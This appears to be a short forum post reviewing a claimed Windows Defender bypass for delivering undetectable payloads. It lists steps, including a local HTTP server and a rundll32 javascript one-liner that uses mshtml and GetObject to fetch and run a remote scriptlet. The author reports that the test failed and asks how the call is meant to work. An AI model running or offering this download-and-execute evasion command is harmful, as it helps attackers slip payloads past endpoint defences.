Microsoft Windows Defender Backdoor: Detection Mitigation Bypass for FUD Payload - My Review

My Review:

​1) python -m http.server 80
- Started a http server for testing...

2) Open command prompt as Administrator
- I have a vbs code from privilege escalation, didn't use it as the string is long.

3)
rundll32  javascript:"\\..\\..\\mshtml\\..\\..\\mshtml,RunHTMLApplication ,RunHTMLApplication ";document.write();GetObject("script"+":"+"http://localhost/yo.tmp")

- The actual code start rundll32 to launch JavaScript engine. The JavaScript is a inline code which means it must run all in one line. The script calls a file yo.tmp on localhost and my server log didn't log any http request. At this point it doesn't work.

- How are you calling http://localhost/yo.tmp without src=""?

Any comments?
Thanks